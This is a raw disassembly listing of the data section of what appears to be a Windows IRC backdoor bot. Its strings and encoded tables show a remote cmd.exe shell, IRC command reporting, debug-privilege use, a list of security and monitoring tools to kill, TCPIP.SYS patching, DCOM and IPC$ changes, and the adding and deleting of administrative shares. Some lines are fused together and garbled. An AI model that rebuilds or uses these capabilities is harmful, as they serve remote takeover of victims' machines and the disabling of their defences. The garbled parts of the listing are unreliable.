dword_4442E4	dd 32h		dword_4442E8	dd 622E7325h, 6B63hdword_4442F0	dd 5F636673h, 642E736Fh, 6C6Chbyte_4442FC	db 4Ch,	0		; DATA XREF: .data:004132EAo
word_4442FE	dw 16h			; DATA XREF: .data:004132F8o
byte_444300	db 6, 0			; DATA XREF: .data:004132FFo
word_444302	dw 0E8h			; DATA XREF: .data:0041330Do
off_444304	dd offset loc_430002+1	; DATA XREF: .data:00413314o
byte_444308	db 0FCh, 0		; DATA XREF: .data:00413330o
word_44430A	dw 5			; DATA XREF: .data:00413337o
byte_44430C	db 0E8h, 0		; DATA XREF: .data:00413345o
word_44430E	dw 3			; DATA XREF: .data:0041334Co
aXSg:					; DATA XREF: .data:00413361o
		unicode	0, <åÈ™GÈ>,0
aRB		db 'r+b',0              ; DATA XREF: .data:00413407o
aCanNotOpenTcpi	db 'Can not open TCPIP.SYS, version %d.',0 ; DATA XREF: .data:00413427o
aTcpip_sysFixed	db 'TCPIP.SYS fixed, version %d.',0 ; DATA XREF: .data:00413732o
		align 8
dword_444368	dd 7530h	dword_44436C	dd 65676572h, 2E746964h, 657865h, 6F63736Dh, 6769666Eh
					; DATA XREF: .data:off_4444B8o
					; .data:004444BCo
		dd 6578652Eh, 0
dword_444388	dd 7374656Eh, 2E746174h, 657865h, 6C62736Dh, 2E747361h
					; DATA XREF: .data:004444C0o
					; .data:004444C4o
		dd 657865h, 7270617Ah, 78652E6Fh, 65h, 7776616Eh, 652E3233h
		dd 6578h, 6176616Eh, 32337770h,	6578652Eh, 0
dword_4443C8	dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h, 636E6977h, 32336766h
					; DATA XREF: .data:004444D4o
		dd 6578652Eh, 6B736174h, 2E6E6F6Dh, 657865h, 646E6150h
		dd 45564161h, 6E69676Eh, 78652E65h, 65h, 69737973h, 2E6F666Eh
		dd 657865h, 7663736Dh, 2E323362h, 657865h, 4C42534Dh, 2E545341h
		dd 657865h, 6B656574h, 2E736469h, 657865h, 696E6550h, 2E323373h
		dd 657865h, 61656262h, 2E656C67h, 657865h, 4D737953h, 50586E6Fh
		dd 6578652Eh, 0
dword_44445C	dd 756E6977h, 652E6470h, 6578h,	736E6977h, 652E7379h, 6578h
					; DATA XREF: .data:004444FCo
					; .data:00444500o
		dd 74617373h, 78652E65h, 65h, 65746172h, 6578652Eh, 0
dword_44448C	dd 75643364h, 74616470h, 78652E65h, 65h, 6E757269h, 78652E34h
					; DATA XREF: .data:0044450Co
		dd 65h,	72313169h, 346E3435h, 6578652Eh, 0
off_4444B8	dd offset dword_44436C	; DATA XREF: sub_4137F3+D1r
		dd offset dword_44436C+0Ch
		dd offset dword_444388
		dd offset dword_444388+0Ch
		dd offset dword_444388+18h
		dd offset dword_444388+24h
		dd offset dword_444388+30h
		dd offset dword_4443C8
		dd offset dword_4443C8+10h
		dd offset dword_4443C8+28h
		dd offset dword_4443C8+3Ch
		dd offset dword_4443C8+48h
		dd offset dword_4443C8+54h
		dd offset dword_4443C8+60h
		dd offset dword_4443C8+6Ch
		dd offset dword_4443C8+78h
		dd offset dword_4443C8+84h
		dd offset dword_44445C
		dd offset dword_44445C+0Ch
		dd offset dword_44445C+18h
		dd offset dword_44445C+24h
		dd offset dword_44448C
		dd offset dword_44448C+10h
		dd offset dword_44448C+1Ch
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4137F3+5Ao
		align 4
aSD		db ' %s (%d)',0         ; DATA XREF: sub_4137F3+17Ao
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4137F3+188o
		align 4
aSD_1		db ' %s (%d)',0         ; DATA XREF: sub_4137F3+19Co
		align 10h
aSedebugprivi_0	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4137F3+204o
		align 4
unk_444564	db  2Dh	; -		; DATA XREF: sub_413A33+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
unk_444584	db  2Dh	; -		; DATA XREF: sub_413A33+86o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_4445A8	db  2Dh	; -		; DATA XREF: sub_413A33:loc_413AC0o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_413BD0+33o
aS_19		db '%s',0               ; DATA XREF: sub_413BD0+4Co
		align 10h
unk_4445E0	db  2Dh	; -		; DATA XREF: sub_413C57:loc_413D3Do
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_444610	db  2Dh	; -		; DATA XREF: sub_413C57+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_444638	db  2Dh	; -		; DATA XREF: sub_413C57:loc_413D89o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0	db 'cmd.exe',0          ; DATA XREF: sub_413DAC+20o
unk_444670	db  2Dh	; -		; DATA XREF: sub_413DAC+150o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
unk_444694	db  2Dh	; -		; DATA XREF: sub_413DAC+198o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
aIpc		db 'IPC$',0             ; DATA XREF: .data:off_4446E8o
		align 10h
aAdmin_3	db 'ADMIN$',0           ; DATA XREF: .data:004446F0o
		align 4
aC_0		db 'C$',0               ; DATA XREF: .data:004446F8o
		align 4
aC_1		db 'C:\',0              ; DATA XREF: .data:004446FCo
aD_2		db 'D$',0               ; DATA XREF: .data:00444700o
		align 4
aD_3		db 'D:\',0              ; DATA XREF: .data:00444704o
off_4446E8	dd offset aIpc		; DATA XREF: sub_413FC4:loc_414179r
					; sub_413FC4+1C3r ...
					; "IPC$"
dword_4446EC	dd 0				dd offset aAdmin_3	; "ADMIN$"
		align 8
		dd offset aC_0		; "C$"
		dd offset aC_1		; "C:\\"
		dd offset aD_2		; "D$"
		dd offset aD_3		; "D:\\"
word_444708	dw 4Eh			; DATA XREF: sub_413FC4+38r
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_413FC4+54o
		align 4
dword_444718	dd 234032Dh, 75636573h,	3026572haDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
dword_44473C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_413FC4:loc_414037o
		dd 62617369h, 2E64656Ch, 0
dword_44475C	dd 234032Dh, 75636573h,	3026572haFailedToOpenDc	db '- Failed to open DCOM registry key.',0
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_413FC4+EDo
		align 10h
dword_4447A0	dd 234032Dh, 75636573h,	3026572haFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
dword_4447DC	dd 234032Dh, 75636573h,	3026572haRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_444810	dd 234032Dh, 75636573h,	3026572haFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_44484C	dd 234032Dh, 75636573h,	3026572haAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_44487C	dd 234032Dh, 75636573h,	3026572haShareSDeleted_	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_4448A0	dd 234032Dh, 75636573h,	3026572haFailedToDelete	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_4448CC	dd 234032Dh, 75636573h,	3026572haShareSDelete_0	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_4448F0	dd 234032Dh, 75636573h,	3026572haFailedToDele_0	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_44491C	dd 234032Dh, 75636573h,	3026572haNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_444944	dd 234032Dh, 75636573h,	3026572haNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
word_444974	dw 59h			; DATA XREF: sub_4142EA+38r
		align 4
aEnabledcom_0	db 'EnableDCOM',0       ; DATA XREF: sub_4142EA+54o
		align 4
dword_444984	dd 234032Dh, 75636573h,	3026572haEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
dword_4449A8	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_4142EA:loc_41435Do
		dd 6C62616Eh, 2E6465h
dword_4449C4	dd 234032Dh, 75636573h,	3026572haFailedToOpen_1	db '- Failed to open DCOM registry key.',0
aRestrictanon_0	db 'restrictanonymous',0 ; DATA XREF: sub_4142EA+EDo
		align 4
dword_444A08	dd 234032Dh, 75636573h,	3026572haFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_444A48	dd 234032Dh, 75636573h,	3026572haUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 10h
dword_444A80	dd 234032Dh, 75636573h,	3026572haFailedToOpen_2	db '- Failed to open IPC$ restriction registry key.',0
dword_444ABC	dd 234032Dh, 75636573h,	3026572haAdvapi32_dll_0	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_444AEC	dd 234032Dh, 75636573h,	3026572haShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_444B0C	dd 234032Dh, 75636573h,	3026572haFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
aC_2		db '%c$',0              ; DATA XREF: sub_4142EA+21Bo
aC_3		db '%c:\',0             ; DATA XREF: sub_4142EA+22Co
		align 10h
dword_444B40	dd 234032Dh, 75636573h,	3026572haShareSAdded__0	db '- Share ',27h,'%s',27h,' added.',0
dword_444B60	dd 234032Dh, 75636573h,	3026572haFailedToAddS_0	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_444B88	dd 234032Dh, 75636573h,	3026572haNetworkSharesA	db '- Network shares added.',0
dword_444BAC	dd 234032Dh, 75636573h,	3026572haNetapi32_dll_1	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_414606+39o
a95		db '95',0               ; DATA XREF: sub_4147AC+46o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_4147AC+5Ao
		align 4
a98		db '98',0               ; DATA XREF: sub_4147AC+6Co
		align 4
aMe_0		db 'ME',0               ; DATA XREF: sub_4147AC+7Eo
		align 4
a2k		db '2K',0               ; DATA XREF: sub_4147AC+98o
		align 10h
aXp_2		db 'XP',0               ; DATA XREF: sub_4147AC+AAo
		align 4
a2003_0		db '2003',0             ; DATA XREF: sub_4147AC+BAo
		align 4
a???		db '???',0              ; DATA XREF: sub_4147AC:loc_41486Fo
aSS_6		db '%s (%s)',0          ; DATA XREF: sub_4147AC+EBo
word_444C18	dw 3Fh			; DATA XREF: sub_4147AC:loc_4148AEr
		align 4
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_4147AC:loc_414910o
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_4147AC+192o
aHhMmSs_0	db 'HH:mm:ss',0         ; DATA XREF: sub_4147AC+1AEo
		align 10h
dword_444C50	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_4147AC+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_444D2C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_444D3C	dd 6C616944h, 70752Dhoff_444D44	dd offset dword_4E414C	; DATA XREF: sub_414A60:loc_414ACDo
off_444D48	dd offset loc_412F4B+3	; DATA XREF: sub_414A60+77o
off_444D4C	dd offset loc_412F4B+3	; DATA XREF: sub_414A60+88o
dword_444D50	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_414A60+AEo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
dword_444D94	dd 5Ch		dword_444D98	dd 2A2F2Ah	dword_444D9C	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_414C86+192o
		dd 64657469h, 2Eh
unk_444DB8	db  2Dh	; -		; DATA XREF: sub_414C86:loc_414E1Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_444DF4	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_414C86+1A6o
		dd 4C525520h, 2Eh
unk_444E10	db  2Dh	; -		; DATA XREF: sub_414C86:loc_414E3Co
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
unk_444E3C	db  2Dh	; -		; DATA XREF: sub_414C86:loc_414E43o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
dword_444E70	dd 1							; sub_4151D0+F2r ...
dword_444E74	dd 5Ch							; sub_4151D0:loc_415385r ...
dword_444E78	dd 0FFFFFFFFh						; sub_415640+9Er ...
byte_444E7C	db 0FDh			; DATA XREF: sub_4151D0+2B7r
					; sub_4151D0+2D1r ...
byte_444E7D	db 0DDh			; DATA XREF: sub_415CD0+257r
					; sub_415CD0+39Br ...
byte_444E7E	db 0CDh			; DATA XREF: sub_4151D0+2F1r
					; sub_415640+377r
		align 10h
off_444E80	dd offset aFree		; DATA XREF: sub_415CD0+177r
					; sub_415CD0+1DDr ...
					; "Free"
		dd offset dword_4344AC+20h
		dd offset dword_4344AC+1Ch
		dd offset dword_4344AC+14h
		dd offset dword_4344AC+0Ch
		align 10h
dword_444EA0	dd 19930520h, 3	dup(0)					; sub_4191C6+2o
dword_444EB0	dd 173Fh			dd 9875h, 9873h
off_444EBC	dd offset sub_419870	; DATA XREF: sub_417AB0+3r
					; sub_417AB0+Cr
		dd offset sub_4198A0
		dd offset sub_4198A0
dword_444EC8	dd 1B3Fh			align 10h
off_444ED0	dd offset sub_417B10	; DATA XREF: sub_41AC70+22r
dword_444ED4	dd 2							; sub_428880+86r ...
off_444ED8	dd offset dword_4DE680	; DATA XREF: sub_41ACD0+B3o
					; sub_41AE20+3o ...
		align 10h
		dd offset dword_4DE680
		dd 101h
dword_444EE8	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_444EF8	dd 3 dup(0)						; sub_4226D0:loc_422723o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_444F18	dd 3 dup(0)						; sub_4226D0:loc_422735o
		dd 2, 0FFFFFFFFh, 83h dup(0)
dword_445138	dd 8 dup(0)						; sub_41AE90+Co
dword_445158	dd 0FFFFFFFFh						; sub_41B010+108o ...
dword_44515C	dd 2							; .data:0041AF49r ...
		dd 2 dup(4)
dword_445168	dd 0FFFFFFFFh						; .data:0041AF9Cr ...
		dd 2 dup(0FFFFFFFFh)
off_445174	dd offset aWarning	; DATA XREF: sub_41B3A0+284r
					; "Warning"
		dd offset aError	; "Error"
		dd offset dword_434D7C+8
dword_445180	dd 0							; sub_41BBE0+44r ...
off_445184	dd offset dword_4DDFF0	; DATA XREF: sub_41BBA0+29r
					; sub_41BBE0+8Fr
		dd 7 dup(0)
off_4451A4	dd offset dword_4DE020	; DATA XREF: sub_41BBA0+1Cr
					; sub_41BBE0:loc_41BC49r
		dd 3 dup(0)
off_4451B4	dd offset dword_4DE038	; DATA XREF: sub_41BBA0+Fr
					; sub_41BBE0+75r
		dd 3 dup(0)
off_4451C4	dd offset dword_4DE008	; DATA XREF: sub_41BBA0+3r
					; sub_41BBE0+82r
		dd 7 dup(0)
		dd 9330D8h, 16h	dup(0)
off_445240	dd offset sub_41C010	; DATA XREF: sub_4151D0+79r
					; sub_415640+C1r ...
		align 8
off_445248	dd offset off_445248	; DATA XREF: sub_41E750+Fo
					; sub_41E750+7Ao ...
off_44524C	dd offset off_445248	; DATA XREF: sub_41E750:loc_41E7E6r
					; sub_41E750+9Fw ...
		dd offset dword_445260
		dd offset dword_445260
dword_445258	dd 0FFFFFFFFh						; sub_41E930:loc_41E997w
		dd 0FFFFFFFFh
dword_445260	dd 0F0h, 0F1h, 13Ah dup(0)					; .data:00445254o
dword_445750	dd 6C6h	dup(0)	off_447268	dd offset off_445248	; DATA XREF: sub_41E930+17r
					; sub_41E930+28w ...
dword_44726C	dd 1E0h							; sub_41C020+146r ...
		dd 10h
off_447274	dd offset word_44727E	; DATA XREF: sub_417160+7Cr
					; sub_417860+2Dr ...
off_447278	dd offset word_44727E	; DATA XREF: .data:0042D124w
					; .data:0042D1DBw
		db 2 dup(0)
word_44727E	dw 20h			; DATA XREF: .data:loc_42D1D1o
					; .data:0042D1DBo ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_447480	dd 1							; sub_417860:loc_417866r ...
byte_447484	db 2Eh			; DATA XREF: sub_4236C0:loc_424547r
					; sub_4236C0+ED2r ...
		align 4
dword_447488	dd 1							; sub_42C6F0+296w
		align 10h
off_447490	dd offset aNull_1	; DATA XREF: sub_4209A0:loc_420DE2r
					; sub_4209A0+57Cr
					; "(null)"
off_447494	dd offset aNull_0	; DATA XREF: sub_4209A0+514r
					; "(null)"
dword_447498	dd 4							; sub_421840+14r ...
		align 10h
byte_4474A0	db 1			; DATA XREF: sub_421AF0+12Fr
		db 2, 4, 8
		align 8
dword_4474A8	dd 3A4h		word_4474AC	dw 8260h		; DATA XREF: sub_421AF0+192r
		dw 8279h
		dd 21h,	0
dword_4474B8	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_447598	dd 1		dword_44759C	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch, 42A4F0h,	3 dup(0)
off_447710	dd offset sub_423580	; DATA XREF: sub_423630+2Dr
					; sub_423630+3Dr
dword_447714	dd 0D2D0920h, 5Dhdword_44771C	dd 5Dh		dword_447720	dd 14h		off_447724	dd offset aExp		; DATA XREF: sub_425770+2Er
					; "exp"
		dd 1Dh,	4352E4h, 1Ah, 4352E0h, 1Bh, 4352D8h, 1Fh, 4352D0h
		dd 13h,	4352C8h, 21h, 4352C0h, 0Eh, 4352B8h, 0Dh, 4352B0h
		dd 0Fh,	4352A8h, 10h, 4352A0h, 5, 435298h, 1Eh,	435294h
		dd 12h,	435290h, 20h, 43528Ch, 0Ch, 435284h, 0Bh, 43527Ch
		dd 15h,	435274h, 1Ch, 43526Ch, 19h, 435264h, 11h, 43525Ch
		dd 18h,	435254h, 16h, 43524Ch, 17h, 435244h, 22h, 435240h
		dd 23h,	43523Ch, 24h, 435238h
dbl_4477F8	dq 1.797693134862316e308 ; DATA	XREF: sub_425310+E4r
					; sub_425310:loc_425407r ...
		dd 0
		dd 0FFF80000h
dbl_447808	dq 1.797693134862316e308 ; DATA	XREF: sub_425310:loc_42544Ar
					; sub_425310+167r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_447820	dt 2.3562723457267347066e313 ; DATA XREF: sub_425B60+13r
					; sub_425B60+2Ar
		align 4
tbyte_44782C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_425B60+41r
		align 4
off_447838	dd offset sub_426350	; DATA XREF: sub_4198B0+3w
					; sub_4209A0+6ADr
off_44783C	dd offset sub_425D60	; DATA XREF: sub_4198B0+Dw
					; sub_4209A0+6F1r
off_447840	dd offset sub_425E70	; DATA XREF: sub_4198B0+17w
					; sub_4236C0+1138r
off_447844	dd offset sub_425CB0	; DATA XREF: sub_4198B0+21w
					; sub_4209A0+6CFr
off_447848	dd offset sub_425E40	; DATA XREF: sub_4198B0+2Bw
off_44784C	dd offset sub_426350	; DATA XREF: sub_4198B0+35w
dword_447850	dd 43h							; .data:00447970o ...
dword_447854	dd 43h,	20h dup(0)					; sub_4271E0+117o ...
dword_4478D8	dd 43h,	21h dup(0)					; sub_4271E0+FCo ...
off_447960	dd offset aLc_all	; DATA XREF: .data:00426CCFr
					; .data:00426CE8r ...
					; "LC_ALL"
dword_447964	dd 0							; .data:00426E70r ...
off_447968	dd offset sub_427370	; DATA XREF: sub_426F40+12Br
		dd offset aLc_collate	; "LC_COLLATE"
		dd offset dword_447850
		dd offset sub_42D220
		dd offset aLc_ctype	; "LC_CTYPE"
off_44797C	dd offset dword_447850	; DATA XREF: sub_4270E0+F0r
; ---------------------------------------------------------------------------
		or	dh, 42h
		add	[ebx+edx*2+43h], al
		add	[eax+78h], dl
		inc	esp
		add	[eax], ah
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aLc_numeric	; "LC_NUMERIC"
		dd offset dword_447850
		dd offset sub_42C6F0
		dd offset aLc_time	; "LC_TIME"
		dd offset dword_447850
		dd offset sub_42BD70
dword_4479A8	dd 0C0000005h, 0Bh, 0					; .data:00421A8Eo ...
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_447A20	dd 3							; sub_427900:loc_4279ABr ...
dword_447A24	dd 7							; sub_429130+17Dr
dword_447A28	dd 78h							; .data:00428FC6r
dword_447A2C	dd 0Ah							; sub_427AC0:loc_427AF2r ...
dword_447A30	dd 0FFFFFFFFh, 0A00h, 8	dup(0)					; sub_420720:loc_420919o
dword_447A58	dd 2							; sub_428880+3Dr ...
off_447A5C	dd offset aR6002FloatingP ; DATA XREF: sub_428880+56r
					; sub_428880+98r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 43561Ch, 9, 4355F0h, 0Ah,	4355CCh, 10h, 4355A0h
		dd 11h,	435570h, 12h, 43554Ch, 13h, 435520h, 18h, 4354E8h
		dd 19h,	4354C0h, 1Ah, 435488h, 1Bh, 435450h, 1Ch, 435428h
		dd 78h,	435418h, 79h, 435408h, 7Ah, 4353F8h, 0FCh, 4353F4h
		dd 0FFh, 4353E4h, 2 dup(0)
dword_447AF0	dd 2694h						; .data:00424C4Fr ...
		align 8
dword_447AF8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_447B10	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh, 2	dup(0)dword_447B30	dd 40Ah							; sub_42DDD0+147r
a040a		db '040a',0             ; DATA XREF: sub_42DDD0+9Ao
		align 4
off_447B3C	dd offset aSpanishTraditi ; DATA XREF: sub_42DDD0+ABr
					; "Spanish - Traditional Sort"
dword_447B40	dd 505345h	off_447B44	dd offset aSpain	; DATA XREF: sub_42DDD0+CDr
					; "Spain"
dword_447B48	dd 505345h	dword_447B4C	dd 303538h, 0	a1252		db '1252',0             ; DATA XREF: sub_42DDD0+100o
		align 4
		dd 40Bh, 62303430h, 0
		dd offset aFinnish	; "Finnish"
		dd offset word_4E4946
		dd offset aFinland	; "Finland"
		dd offset word_4E4946
		dd 303538h, 0
a1252_0		db '1252',0
		align 4
		dd 40Ch, 63303430h, 0
		dd offset aFrench	; "French"
		dd offset loc_415245+1
		dd offset aFrance	; "France"
		dd offset loc_415245+1
		dd 303538h, 0
a1252_1		db '1252',0
		align 4
		dd 40Fh, 66303430h, 0
		dd offset aIcelandic	; "Icelandic"
		dd offset byte_4C5349
		dd offset aIceland	; "Iceland"
		dd offset byte_4C5349
		dd 303538h, 0
a1252_2		db '1252',0
		align 10h
		dd 41Dh, 64313430h, 0
		dd offset aSwedish	; "Swedish"
		dd offset byte_455653
		dd offset aSweden	; "Sweden"
		dd offset byte_455753
		dd 303538h, 0
a1252_3		db '1252',0
		align 4
		dd 42Dh, 64323430h, 0
		dd offset aBasque	; "Basque"
		dd 515545h, 4358D8h, 505345h, 303538h, 0
a1252_4		db '1252',0
		align 4
		db 0Ah
		db 8,0
		align 4
a080a		db '080a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4D5345
		dd offset aMexico	; "Mexico"
		dd 58454Dh, 303538h, 0
a1252_5		db '1252',0
		align 4
		dd 80Ch, 63303830h, 0
		dd offset aFrench	; "French"
		dd offset loc_425246
		dd offset aBelgium	; "Belgium"
		dd offset word_4C4542
		dd 303538h, 0
a1252_6		db '1252',0
		align 10h
		dd 0C07h, 37306330h, 0
		dd offset aGerman	; "German"
		dd offset loc_414542+2
		dd offset aAustria	; "Austria"
		dd 545541h, 303538h, 0
a1252_7		db '1252',0
		align 4
		dd 0C09h, 39306330h, 0
		dd offset aEnglish	; "English"
		dd offset loc_414E43+2
		dd offset aAustralia	; "Australia"
		dd 535541h, 303538h, 0
a1252_8		db '1252',0
		align 4
		dd 0C0Ah, 61306330h, 0
		dd offset aSpanishModernS ; "Spanish - Modern Sort"
		dd offset byte_4E5345
		dd offset aSpain	; "Spain"
		dd 505345h, 303538h, 0
a1252_9		db '1252',0
		align 4
		dd 0C0Ch, 63306330h, 0
		dd offset aFrench	; "French"
		dd offset dword_435230+16h
		dd offset aCanada	; "Canada"
		dd offset byte_4E4143
		dd 303538h, 0
a1252_10	db '1252',0
		align 10h
		dd 100Ah, 61303031h, 0
		dd offset aSpanish	; "Spanish"
		dd offset byte_475345
		dd offset aGuatemala	; "Guatemala"
		dd offset byte_4D5447
		dd 303538h, 0
a1252_11	db '1252',0
		align 4
		dd 100Ch, 63303031h, 0
		dd offset aFrench	; "French"
		dd 535246h, 435818h, 454843h, 303538h, 0
a1252_12	db '1252',0
		align 4
		dd 140Ah, 61303431h, 0
		dd offset aSpanish	; "Spanish"
		dd offset aLc_monetary+1
		dd offset aCostaRica	; "Costa Rica"
		dd offset byte_495243
		dd 303538h, 0
a1252_13	db '1252',0
		align 4
		dd 140Ch, 63303431h, 0
		dd offset aFrench	; "French"
		dd offset word_4C5246
		dd offset aLuxembourg	; "Luxembourg"
		dd 58554Ch, 303538h, 0
a1252_14	db '1252',0
		align 10h
		dd 180Ah, 61303831h, 0
		dd offset aSpanish	; "Spanish"
		dd offset loc_415344+1
		dd offset aPanama	; "Panama"
		dd offset dword_4E4150
		dd 303538h, 0
a1252_15	db '1252',0
		align 4
		dd 1C09h, 39306331h, 0
		dd offset aEnglish	; "English"
		dd 534E45h, 4357E8h, 46415Ah, 373334h, 0
a1252_16	db '1252',0
		align 4
		dd 1C0Ah, 61306331h, 0
		dd offset aSpanish	; "Spanish"
		dd offset dword_445260+0E5h
